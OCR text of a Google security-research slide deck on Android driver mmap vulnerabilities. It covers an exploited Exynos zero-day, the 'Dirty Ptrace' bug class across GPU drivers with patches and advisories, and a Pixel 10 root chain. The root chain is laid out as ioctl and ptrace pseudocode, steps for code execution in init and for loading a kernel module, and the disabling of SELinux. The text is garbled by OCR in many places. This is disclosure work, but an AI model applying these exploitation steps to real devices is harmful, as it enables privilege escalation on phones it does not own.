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Protect the Android ecosystem through
offensive security.
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Classic Driver mmap
Vulnerabilities in the “golden
age” of Android Rooting

Google



Classic Driver mmap Vulnerability in Early Years

e CVE-2012-6422 (by alephzain), ...
o crw-rw-rw- 1 system graphics [...] /dev/exynos-mem
o mmap /dev/exynos-mem allows an unprivileged app to map arbitrary
physical pages back to userspace
e CVE-2017-13164 (thomasking): information leak

e Exploitation is easy in old days
o Read kernel symbols
o Patch kernel function
o Root
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Stop Driver mmap Vulnerabilities

e SELinux was introduced and enforced
e OEMs start sanitizing user input
o Introduce integer overflow / OOB bugs

e Integer overflow (e.g. CVE 2018-8781 by checkpoint, CVE-2019-18675 by deshal3v) in
.mmap handler:

if (vm_pgoff + size > obj.allowed_len) {
return -EINVAL;

}

[...]

remap_pfn_range(vma, vm_start, ..)
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Stop Driver mmap Vulnerabilities

e OOB bug still happens in 2024 :(

static vm_fault_t cma_heap_vm_fault(struct vm_fault xvmf)

{
struct vm_area_struct *xvma = vmf->vma;
struct cma_heap_buffer xbuffer = vma->vm_private_data;
if| (vmf->pgoff > buffer->pagecount) static vm_fault_t udmabuf_vm_fault(struct vm_fault *vmf)
return VM_FAULT_SIGBUS; {
struct vm_area_struct xvma = vmf->vma;
vmf->page = buffer->pages[vmf->pgoff]; struct udmabuf xubuf = vma->vm_private_data;
get_page(vmf->page);
T B vmf->page =|ubuf->pages[vmf->pgoff];
} get_page(vmf->page);
return 0;
CVE-2024-46852 }

CVE-2023-2008 (BFS Lab)

ano=0I1D

=CED TCAM



VM_PFNMAP is Difficult to Manage Securely

e Driver marks the mmaped VMA with the VM_PFNMAP flag
o Basically, the VM_PFNMAP flag means it's up to the driver to manage this region of
virtual memory.

e [Easyto gowrong
o Reference count <- Exynos Driver 0day CVE-2024-44068
The implication of the VM flags
Race condition
VM flag
GPU Page UAF

O O O O O
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In the wild Exynos Oday
CVE-2024-44068

https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2024/
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CVE-2024-44068: Exynos In the Wild Oday

o CVE-2024-44068 attacks the Exynos device driver m2m1shot_scaler® which is for
JPEG image scaling and decoding

e EXxploit chain hijacks 1init process by overwriting libc
o If kernel major version is 4, gain root & disguise itself as
vendor.samsung.hardware.camera.provider@3.0-service
o If the target kernel major version is 5, mount an img file and load a rootkit driver

DWORD1(v75) |= 5u;
joctl(special_file_fd, LOOP_SET_STATUS64, v74);
v22 = mount(special_file, "/data/troot_mnt/img", "ext4", 1lulLlL, &unk_2299);
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CVE-2024-44068: Exynos In the Wild Oday

e joctl M2M1SHOT_IOC_PROCESS for importing memory pages for I/O operation

m2mlshot_task.buf_cap.num_planes = 3;
m2mlshot_task.buf_cap.type =|M2M1SHOT_BUFFER_USERPTR;
m2mlshot_task.buf_cap.plane[SC_PLANE_Y].userptr = ion_map;

m2mlshot_task.buf_cap.plane[SC_PLANE_Y].len = 0x8000LL;

m2mlshot_task.buf_cap.plane[SC_PLANE_CB].userptr = buf_cap_map_2; Source: Imported memory from
m2mlshot_task.buf_cap.plane [SC_PLANE_CB].len = 0x8000LL; userspace userptr
m2mlshot_task.buf_cap.plane [SC_PLANE_CR].userptr = buf_cap_map_3;
m2mlshot_task.buf_cap.plane[SC_PLANE_CR].len = 0x8000LL;
m2mlshot_task.fmt_out.fmt = V4L2_PIX_FMT_YUV420M;

m2mlshot_task.buf_out.num_planes = 3;
m2mlshot_task.buf_out.type =|M2M1$HOT BUFFER USERPTR;

Destination: Imported memory from m2mlshot_task.buf_out.plane[SC_PLANE_Y].userptr = buf_out_map_1;
m2mlshot_task.buf_out.plane[SC_PLANE_Y].len = 0x8000LL;
userspace use rptr m2mlshot_task.buf_out.plane[SC_PLANE_CB].userptr = buf_out_map_2;

m2mlshot_task.buf_out.plane[SC_PLANE_CB].len = 0x8000LL;
m2mlshot_task.buf_out.plane[SC_PLANE_CR].userptr = buf_out_map_3;
m2mlshot_task.buf_out.plane[SC_PLANE_CR].len = 0x8000LL;
m2mlshot_task.op.op = M2M1SHOT_OP_CSC_NARROW;
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CVE-2024-44068: Exynos In the Wild Oday

e m2mishot_dma_addr_map -> exynos_iovmm_map_userptr ->
exynos_iommu_map_userptr -> sysmmu_map_pud -> sysmmu_map_pte -> ...

»
>

sysmmu_map_pte kick firmware
Input: Imported page Input: /O page
Tcopy data
Firmware
A - > |
sysmmu_map_pte write data
Output: Imported page Output: /O page
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CVE-2024-44068: Exynos In the Wild Oday

e sysmmu_map_pte: Hey it's not my duty to take care of PFNMAP pages

static int sysmmu_map_pte(struct mm_struct *mm,
pmd_t *pmd, unsigned long addr, unsigned long end,

struct exynos_iommu_domain *domain, sysmmu_iova_t iova, int prot) The driver eXpeCtS users to import a

{
normal (non-VM_PFNMAP) memory.
ent = alloc_lv2entry_userptr(domain, iova);
do { If a malicious user imports a
’;‘t‘ar.1t = mk_lv2ent_spage(pte_pfn(*pte) << PAGE_SHIFT); VM—PFNMAP pages tO the EXynOS
i Clntdn) driver, the page reference count is
get_page(pte_page(*pte));
else not elevated.
mk_lv2ent_pfnmap(ent);
[l
} while (pte++, addr += PAGE_SIZE, addr != end);
pgtable_flush(ent_beg, ent);
err:

pte_unmap_unlock(pte - 1, ptl);
return ret;

}
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CVE-2024-44068: Exynos In the Wild Oday
— @

1 2 ——=

sysmmu_map_pte : kick firmware l I/0 Page UAF write

Unmap page in the meantime

Input: Imported page from ION driver Input: /O page
4
copy data to freed page
Firmware
A i |
sysmmu_map_pte write data
Output: Imported page Output: IO page
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CVE-2024-44068: Exynos In the Wild Oday

e Send a stack of user pages, unmap PFNMAP pages in the meantime
o How to win race condition with better chance?

Stack of Input User Pages

non PENMAP
ages
non PEFNMAP
ages
PFNMAP

ages
non PFNMAP

pages

Exynos Driver
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CVE-2024-44068: Exynos In the Wild Oday

e mincore checks whether the virtual page’s underlying physical page is allocated or not

do {

mincore(m2mlshot_task.buf_cap.plane[l].userptr, 0x1000, vec);
} while (!vec[0]);
munmap (m2mlshot_task.buf_cap.plane[@].userptr, 0x8000);

e Exploit Flow
o Spray page tables
o Use page UAF write primitive to build KSMA
o Overwrite kernel code
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Challenges in Securing Driver
mmap Code

Google



Challenges in Securing Driver mmap code

e Binder CVE-2023-20928: Race Condition (P0O)

@@ -213,7 +213,7 @@ static 1int binder_update_page_range(struct binder_alloc *alloc, int allocate,

mm = alloc->vma_vm_mm;

if (mm) {
- mmap_read_lock(mm) ;
+ mmap_write_lock(mm) ;
vma = alloc->vma;

}

e CVE-2022-33917: when VM |0 is not present (P0O)

static void kbase_csf_user_io_pages_vm_open(struct vm_area_struct *vma) {
WARN(1, "Unexpected attempt to clone private vma\n");
vma->vm_private_data = NULL;
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Challenges in Securing Driver mmap code

e Create a CPU mapping by mmap
e GPU logic bugs
o Shrinker, Sparse Texture Memory, ...

GPU Virtual Pages Freed Physical Pages CPU Virtual Pages

e

e

map map
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Challenges in Securing Driver mmap code

e mmap read-only pages != read-only (IMG GPU CVE-2024-34726 PO)
o No VM WRITE flag '= No VM_MAYWRITE flag
o void *ptr = mmap(NULL, <len>, PROT_READ, MAP_SHARED, <fd>, <offset>);
o mprotect(ptr, <len>, PROT _READ|PROT_WRITE)

e mmap read-only pages != read-only
o Dirty Ptrace

ano=0I1D

=CED TCAM



oY
Dirty Ptrace

“Special” Read-Only Memory Overwrite
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Dirty Ptrace: Special Read-Only Memory Overwrite

e Ask a (non-root) debugger to write on read-only memory
o 1) Read-only memory by mmap with MAP_PRIVATE?
o 2) Read-only memory by mmap with MAP_SHARED?

pages

mmap'ed page
i ?
e Any exceptions™ VM_PFNMAP ptrace h

T Parent Process

ano=0I1D

=CED TCAM



Dirty Ptrace: Special Read-Only Memory Overwrite

e ptrace(PTRACE_POKEDATA, ...) toread/write onthe PFN pages X

e The access callback

struct vm_area_struct *xvma
the vma to access

unsigned long addr static int vma_access(struct vm_area_struct *vma, unsigned long addr,

; —_ void *buffer, int length, int write
userspace address, not relative offset within vma g )1

i.%-(write) {

void *xbuf memcpy(kernel_obj_mapping, buffer, length);
buffer to read/write } else {
memcpy(buffer, kernel_obj_mapping, length);
int len }

length of transfer

int write
set to FOLL_WRITE when writing, otherwise reading

Google: daN>D=0ID
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Dirty Ptrace: Special Read-Only Memory Overwrite

e ptrace(PTRACE_POKEDATA, ...)->write_int ->access_process_vm->
__access_remote_vm

static inline int I =
write_int(struct task_struct *task, unsigned long addr, int data) SRS IR oL

{ i Do not walk the page table directl)

int copied =] access_process_vm[task, addr, &data, sizeof(int),
FOLL=FORCE=T"TOTLL_WRITL); int access_process_vm(struct task_struct *tsk, unsigned long addr,
return (copied == sizeof(int)) ? @ : -EIO; void *buf, int len, unsigned int gup_flags)
} i

struct mm_struct *mm;
int ret;

mm = get_task_mm(tsk);
if (Imm)
return 0;

ret =]__access_remote_vm{mm, addr, buf, len, gup_flags);

mmput(mm) ;

return ret;
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Dirty Ptrace: Special Read-Only Memory Overwrite

int __access_remote_vm(struct mm_struct *mm, unsigned long addr, void *buf,

® __aCCESS_remOte_VH] Ca”S int len, unsigned int gup_flags) {

get_user_page_vma_remote. while Clem) £

struct vm_area_struct_*vma = NULL;
struct page *page =]get_user_page_vma_remotefmm, addr,
gup_TLags, &vma),

e Forregular VMA, it makes sure

it's impossible to write on RIS SR DR ELCRdaedD &

read-only memory. gamz;—}{ookup(mm, gedE
}
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Dirty Ptrace: Special Read-Only Memory Overwrite

® get user page vma remote > static long __get_user_pages_locked(struct mm_struct *mm, unsigned long start,
- - - - unsigned long nr_pages, struct page **pages,
get user pages remote => int *locked, unsigned int foll_flags)
- - - i
struct vm_area_struct *vma;
get_user_pages_loCked bool must_unlock = false;

unsigned long vm_flags;
long 1i;

e If VM_PFNMAP flag is on,

for (i = @; i < nr_pages; i++) {

get—user—page—vma—remOte vma = find_vma(mm, start);
returns an error. et

if ((vma->vm_flags & (VM_IO | VM;PFNMAP)) |
I(vm_flags & vma->vm_flags))
break;

}

return i ? : -EFAULT;
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Dirty Ptrace: Special Read-Only Memory Overwrite

Second chance
o Ifthe vm_ops->access
callback is registered, invoke
this callback.

CONFIG_HAVE_IOREMAP
_PROT is always enabled
on Android.

bytes = 0;

#ifdef CONFIG_HAVE_IOREMAP_PROT

#endif

if (vma->vm_ops && vma->vm_ops->access)
bytes = vma->vm_ops->access(vma, addr, buf,
len, write);

if (bytes <= 0)
break;
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Dirty Ptrace: Special Read-Only Memory Overwrite

e Linux Kernel Documentation from kernel.org
o ->access() is called when get_user_pages() fails in access_process_vm(),
typically used to debug a process through /proc/pid/mem or ptrace. This
function is needed only for VM_IO | VM_PFNMAP VMAs.

e Driver developers assumes the kernel sanitizes the write argument
e The Linux kernel assumes the driver checks the write argument
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Export Read-Only Memory From Drivers

e Dirivers (e.g. GPU, TPU, NPU, DSP...) might import user space memory
o ... and remap the memory back to the user space if possible
o Some drivers may map read-only privileged memory to users.
e Import texture memory from CPU and map to GPU virtual memory
o Mali GPU CVE-2021-39793 (anonymous researcher), IMG GPU CVE-2024-43705
allows an unprivileged app to import libc.so and overwrite the read-only memory

t

CPU page GPU page

V .

limport Tmap to GPU

-
=
- -
s

— > Memory handle
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Dirty Ptrace: Special Read-Only Memory Overwrite

e Akernel patch was proposed in the late 2024 pppluiniion
+++ b/mm/memory.c
by Jann Horn from PO and TJ from the @@ -6591,9 +6591,13 @@ static int __access_remote_vm(struct mm_struct
. *mm, unsigned long addr,
Android kernel team Y
bytes = 0;

o ‘“ltsreally a... uyncommon scenario”

o  “only root user can invoke the ptrace
syscall”

o “Debugging feature”

#ifdef CONFIG_HAVE_IOREMAP_PROT
- if (vma->vm_ops && vma->vm_ops->access)

+ if (vma->vm_ops && vma->vm_ops->access) {

+ if (write && !(vma->vm_flags & VM_WRITE))
¥ break,
+

bytes = vma->vm_ops->access(vma, addr, buf,
len, write);
+ }
#endif
if (bytes <= 0)
break;
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The Impact of “Dirty Ptrace”

on Several GPU Drivers
Industry Security Advisory
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Dirty Ptrace: Nvidia GPU CVE-2025-23244

ioctl->...->
RmValidateMmapRequest
o Unless you're a ROOT user, the
driver will decide the page
protection permission for users.

E.g. If an unprivileged user wants to
map the PCle BAR memory, the driver
only allows the user to mmap the
memory with the read-only permission.

static NV_STATUS RmValidateMmapRequest(

nv_state_t *pNv,

NvU64 offset,
NvU64 length,
NvU32 *pProtection

if (osIsAdministrator())

{
*pProtection = NV_PROTECT_READ_WRITE;
return NV_OK;

3

params.addressStart = offset;
params.addressLength = length;

status = pRmApi->Control(pRmApi, pNv->rmapi.hClient,
pNv->rmapi .hSubDevice,
NV2080_CTRL_CMD_GPU_VALIDATE_MEM_MAP_REQUEST,
&params, sizeof(params));

if (status == NV_0K)
gk

*pProtection = params.protection;

3

return status;

ano=0I1D
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Dirty Ptrace: Nvidia GPU CVE-2025-23244

. . static int
e Thenvidia_vma_access nvidia_vma_access(
. ) struct vm_area_struct *vma,
function does not validate the unsigned long addr,
. void *buffer,
write argument passed from int length,
) int write
the Linux kernel. )
L
nv_alloc_t *at = NULL;
nv_linux_file_private_t *nvlfp = NV_GET_LINUX_FILE_PRIVATE(NV_VMA_FILECvma));
.. . nv_state_t *nv = NV_STATE_PTR(Cnvlfp->nvptr);
e Unprivileged user can overwrite NVU32 pageIndex, pageOffset;
) void *kernel_mapping;
tf]EB rT1rT1EiF) Ea(j rfeéi(j'()r1|)/ const nv_alloc_mapping_context_t *mmap_context = &nvlfp->mmap_context;
NvU64 offset;
memory.
if (write)
memcpy(Ckernel_mapping, buffer, length);
else

memcpy(buffer, kernel_mapping, length);

return length;
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Dirty Ptrace: Nvidia GPU CVE-2025-23244

Unprivileged user could mmap read-only PCle BAR memory

o MMIO Registers
o Nvidia GPU VRAM

@)

Patch: Validate write

[ 146 files changed +53946 -54730 lines changed

v kernel-open/nvidia/nv-mmap.c ﬂ; -2

143
144
145

146
147

143
144
145
146
147
148
149
150
151
152

return -EINVAL;

if (write && !(mmap_context->prot & NV_PROTECT_WRITEABLE))

{
return —EACCES;

if (nv->flags & NV_FLAG_CONTROL)
{

ano=0I1D
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Dirty Ptrace: Nvidia GPU CVE-2025-23244

e CWE-863: Confused Deputy

e Are there any other GPUs implement the .access callback?
o ARM and Qualcomm: No .access callback
o AMD, Intel and IMG: Implemented .access callback

NVIDIA GPU DISPLAY DRIVER

CVE ID | Description Vector pase Severity| CWE Impacts
Score

NVIDIA GPU Display Driver for Linux contains a

vulnerability which could allow an unprivileged Code execution, denial
CVE- attacker to escalate permissions. A successful of service, escalation of
2025- | exploit of this vulnerability might lead to code AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | 7.8 High CWE-863 | privileges, information
23244 | execution, denial of service, escalation of disclosure, and data

privileges, information disclosure, and data tampering

tampering.
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Intel GPU: No Impact

static int
e Intel GPU allows users to import vm_access(struct vm_area_struct *area, unsigned long addr,
) void *buf, int len, int write)
read-only memory to the driver. {
if (1915_gem_object_is_readonly(obj) && write)
return -EACCES;
e Fortunately, vm_access function addr -= area->vm_start;

if (range_overflows_t(u64, addr, len, obj->base.size))

implements the security check. return ~EINVAL:

if (write) {
memcpy(vaddr + addr, buf, len);
__1915_gem_object_flush_map(obj, addr, len);
} else {
memcpy(buf, vaddr + addr, len);
}

ano=0I1D
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AMD GPU: No Impact

VESS

e AMD GPU does not allow the driver to .
re-map the memory originated from an | ... 1me vutrer object <o nap
user irT1F)()rt63(j rT1EBFT1()r)/ * @filp: The file pointer from the process performing the mmap

amdgpu_verify_access - Verify access for a mmap call

This is called by ttm_bo_mmap() to verify whether a process
has the right to mmap a BO to their process space.
*/
static int amdgpu_verify_access(struct ttm_buffer_object xbo, struct file xfilp)

e A safer GPU memory mapping policy {
may save the day!

struct amdgpu_bo xabo = ttm_to_amdgpu_bo(bo);

if (amdgpu_ttm_tt_get_usermm(bo->ttm))
return —-EPERM;
return drm_vma_node_verify_access(&abo->tbo.base.vma_node,

filp—>private_data);
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IMG GPU: CVE-2025-8109

e The IMG GPU maps read-only memory to users
o Shared driver information page
o Shared shader memory pages

([

Android processes access the same shared read-only pages

eError = PMR_WriteBytes(psDevInfo->hTQUSCSharedMem, @, RGXShaderUSCMem(psShaderFw)
if (eError != PVRSRV_0K)

{

PVR_LOG(("%s: Unexpected error from PMR_WriteBytes (%s)",
__func__,

PVRSRVGetErrorString(eError)));
goto failed_uscpmr;

Initialization of the Shared Memory

ano=0I1D
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IMG GPU: CVE-2025-8109

e |IMG GPU allows users to ptrace these global shared read-only pages
o E.g. we can overwrite the shared shader memory
e Android processes trust the shared shader memory
o Craft OOB access in the com.android.systemui process
o Memory corruptions can be triggered when process calls
SkSurface: :flushAndSubmit

signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x000000723ecf23d0

x0 il vl x2 x3

x4 000000709b35017c x5 4 x6 x7 4
X8 0000000000200008 x9 00000071bc4cal50 x10 x11 41414141
x12 20a0a0ad x13 x14 x15

x16 x17 x18 7092650000 x19 000000709b353214
X20 000000709b350068 x21 b400007097f2f800 x22 38 x23 709b35530
Xx24 000000709b350078 x25 000000709b3501e@ x26 000000709b3553f0 x27 000000709b350058
x28 x29 709b34f750

1r 0000007109ed3490 sp 000000709b34f250 pc 0000007109ed35d4 pst 0000000060000000

backtrace:

#00 pc 00000000000485d4 /vendor/lib64/1libsrv_um.so (BuildId: eeace5e8935a@cc3be4450bf61018ab2)

#01 pc 00000000000448d0 /vendor/1lib64/1libsrv_um.so (BuildId: eeace5e8935a@cc3be4450bf61018ab2)

#02 pc 000000000005272c /vendor/1ib64/1libsrv_um.so (RGXQueueTransfer+5300) (BuildId: eeace5e8935a0cc3be4450bf61¢
#03 pc 000000000003c0c® /vendor/lib64/1ibIMGegl.so (TQMQueueTransfer+1184) (BuildId: b6c4b56facd8bfb491918b0@3e6¢
#04 pc 000000000013d180 /vendor/1ib64/egl/1ibGLESv2_mtk.so (BuildId: @e@2c8fle2225ac94e0860c49d05345a)
#05 pc 000000000013e360 /vendor/1ib64/egl/1ibGLESv2_mtk.so (BuildId: @e@2c8fle2225ac94e0860c49d05345a)
#06 pc 0000000000146fad4 /vendor/1ib64/egl/1ibGLESv2_mtk.so (BuildId: @e@2c8fle2225ac94e0860c49d05345a)
#07 pc 000000000014ace@ /vendor/1ib64/egl/1ibGLESv2_mtk.so (BuildId: 0e02c8fle2225ac94e0860c49d05345a)
#08 pc 000000000015d194 /vendor/1ib64/egl/1ibGLESv2_mtk.so (BuildId: 0e02c8fle2225ac94e0860c49d05345a)
#09 pc 00000000000b1f8c /vendor/1ib64/egl/1ibGLESv2_mtk. (glDrawArrays+1312) (BuildId: @e@2c8fle2225ac94e0860( anQOID
#10 pc 00000000008Tad98 /system/1ib64/libhwui.so ((anonymous namespace)::TextureOpImpl::onExecute(GrOpFlushStatd

#11 pc 00000000008e2ad8 /system/1ib64/1libhwui.so (skgpu::vl::0psTask::onExecute(GrOpFlushStatex)+808) (BuildId: CD TCG




IMG GPU: CVE-2024-49739

e The IMG GPU allows users to
import read-only memory and {
re-maps the memory to userspace

e No sanitization check against
“Dirty Ptrace”

static bVRSRV_ERROR _CopyBytesEfoem(..., bWrite)

if (bWrite)

{
0SDeviceMemCopy(sKernMapData.pvKernLinAddr + uiCopyOffset,
pcBuffer,
uiBytesPerLoop);
I
else
{
0SDeviceMemCopy(pcBuffer,
sKernMapData.pvKernLinAddr + uiCopyOffset,
uiBytesPerlLoop);
}
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A deep shallow dive into the IMG DXT
GPU on Pixel 10
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Pixel 10 PowerVR Driver Stack

ﬁ
l
App
';5 7 Sync MM DMABUﬂ
— Core |
g PowerVR KMD — - —
UmD __ J[ocTh 5 Bridge server Cache |[PVRTL|| DI CMM
(OpenGL, OpenCL, Vulkan)
g’ RGX RGX r RGX RGX
cmp ta3d tg2 kicksync

L

GPU
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Pixel 10 PowerVR Driver Stack - Simplified 3D rendering

==
DevMemint DevMemint _ | PhysMemNew R:;‘::’/‘eeg:: /
CixCreate HeapCreate RamBackedPMR AndMaPng
or
PhysMem
Wr'aPEx+Mem
Kgx
CreateRenderCix
RGX
CIeanuP D E— . Kax -— CREATEHWRT -— Kax /
KickTA3D2 DATASET2 CreateFreel ist
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PhysMemWrapExtMem

typedef struct PVRSRV_BRIDGE IN PHYSMEMWRAPEXTMEM
{

IMG_UINT64 ui64CpuVAddr;

IOCTL.

IMG DEVMEM SIZE T uiSize;
PVRSRV_MEMALLOCFLAGS T uiFlags;
};

PVRSRV_MEMALLOCFLAG_{GPU_READABLE, GPU_WRITEABLE,

CPU_READABLE, CPU_WRITEABLE}

Out

typedef struct PVRSRV_BRIDGE OUT PHYSMEMWRAPEXTMEM

{
IMG_HANDLE hPMRPtr;

PVRSRV_ERROR eError;

} __packed;

PMR handle can be mapped using MMAP
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PhysMemWrapExtMem

typedef struct PVRSRV_BRIDGE IN PHYSMEMWRAPEXTMEM
{

IMG_UINT64 ui64CpuVAddr;

IOCTL.

IMG DEVMEM SIZE T uiSize;
PVRSRV_MEMALLOCFLAGS T uiFlags;
};

PVRSRV_MEMALLOCFLAG_ {GPU_READABLE, GPU—WRITEABEE,

CPU_READABLE, €PU—_WRITEABLE]}

Out

typedef struct PVRSRV_BRIDGE OUT PHYSMEMWRAPEXTMEM

{
IMG_HANDLE hPMRPtr;

PVRSRV_ERROR eError;

} __packed;

PMR handle can be mapped using MMAP
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chid_pid = Fork()

C once pt Parent Child

Process Process

Any readable file...

o~

wai+Pid(child, &status, O) Ficﬁm-?d = openlvictim_Fle, readon!y?)

l

ro_ptr = mmaP(O, victim_File_size,
PROT_READ, MAP_SHARED, victim_¥£d, 0)

l

hPMR = ioct(gpu_fd, BRIDGE_CMD, PHYSMEMWRAPEXTMEM {
UG4CpuVAddr = ro_ptr,
uisize = victim_Fie_size,
UiFlags = | << 4 /% READONLY */ }

l

gpu_ro-P-h" = mmaP(O, victim_File_size,
PROT_READ, MAP_SHARED, gpu_fd, hPMR << Oxc)

l

P+r'ac;e(PT RACE_TRACEME)
raise(sSIGSTOP),

wai+Pid(child, Lstatus, O)

A

eiracelPRACE pokeoars, | — -+ Can be overwritten

child__Pid, 3Pu_r‘o__P+r‘, data) [

ano=0I1D
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Path to root

What to overwrite?

e Libraries?
e System binaries?

— Something highly privileged

\ Like init in DirtyPipe

ano=0I1D
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Path to root

No access Read access

- ,/ system/birv 'n'j - /system/libG4/libbase so

’ Proper’ryServiceThread

ti5houldioglandroid: ibase::Logbeverity, char const#) ; ...

while (1) {
‘ epoll(...) ‘
; it ( ) { |
i (ShouldLoa()) {

}

.. do work

AOPP

LOR

loc 15704

an>o=0ID
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Plan

Step 1: overwrite ShouldLog in libbase.so
Step 2: 77?7

Step 3: Becoming root!

ano=0I1D
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Plan

init has no access to the GPU...

\

; 7 A ' Code execution mo e Y |
| PP | in init (pid-D ipe ko

... but our application can also not overwrite kernel modules

ano=0I1D
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Plan

Inspired on
init has no access to the GPU... the ITW
\ exploi+
’ Code execution modprobe

— LPE

— | mount Payload.img) —

in init (Pid=l) IPe_kmod.ko

... but our application can also not overwrite kernel modules

ano=0I1D

=CED TCAM



Plan

Code execution modprobe

i init (Pl ) — moun+(|9ayload.ima) — — LPE

IPe_kmod.ko

Requires changing a property to trigger code execution (unpredictable)

— Launching Google Camera via intent

ano=0I1D
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Runs in init (pid = 1, uid = 0)

Initial payload

\ it (getpid) == 1) l

\

clone()

!

| it (chid)

v

resolve cllopen &
| cll«;ym From goT |

Any RO system file
also accessible by

init is useable \ 7 l
i dloPen('/9y9+em/$on+9/randoml:onH-H:") j
L |

‘ cl|9ym("9econol$+aae") ‘

7

l v
|

br seconds+a3e ‘ ‘ return '

ano=0I1D

=CED TCAM



Seco n d sta g e mkd|r("/a|a+a/o|emo/mn+") mustang:/data/poc2025/img # 1s -1Z

total 208

N drwx————— 2 root root u:object_r:unlabeled:s®@ 12288 2025-10-17 22:1
l —-rwxr-xr-x 1 system system u:object_r:vendor_file:s@ 196048 2025-10-17 22:1
T, rd 77 ] -rw-r——r—— 1 system system u:object_r:vendor_file:s@ 1 2025-10-17 22:1/ modules.a 1a'
wri+e("/da+a/demo/di;k,ima", ramdisk,_PayloaJ) -rw-r——-r— 1 system system u:object_r:vendor_file:s@ 13 2025-10-17 22:17
i it W / £ /) -rw-r—r— 1 system system u:object_r:vendor_file:s@ 12 2025-10-17 22:17/modules.load
setxattr('/data/demo/disk. img’, "security.selinux', |
‘wobject_r Per_looot_l:lle 50" J
mourt('/data/demo/disk.imd’, read32(addr), read64(addr),
e o)) write32(addr), write64(addr),
| lookup_symbol()
)
‘ clone() f
i (chid)

|
v '

echo "ur:vendor_modprobe:sO i +Pi A child)
> /proc/thread-self/attr/exec

l

modpr'olve

Ipe,kmod.ko

ano=0I1D
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Final steps

Standard LPE:

e selinux_enforcing = 0
e \Walk task list:
o task[sh].cred.uid/gid =0
o task[sh].cred.cap = Ox1ffffffffff

ano=0I1D
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https://docs.google.com/file/d/1UdlHzWWnQmy4TfH1cJGvqbfPRpBdZOE4/preview

P
Thank youl!

Google



Questions? Read our blogs!




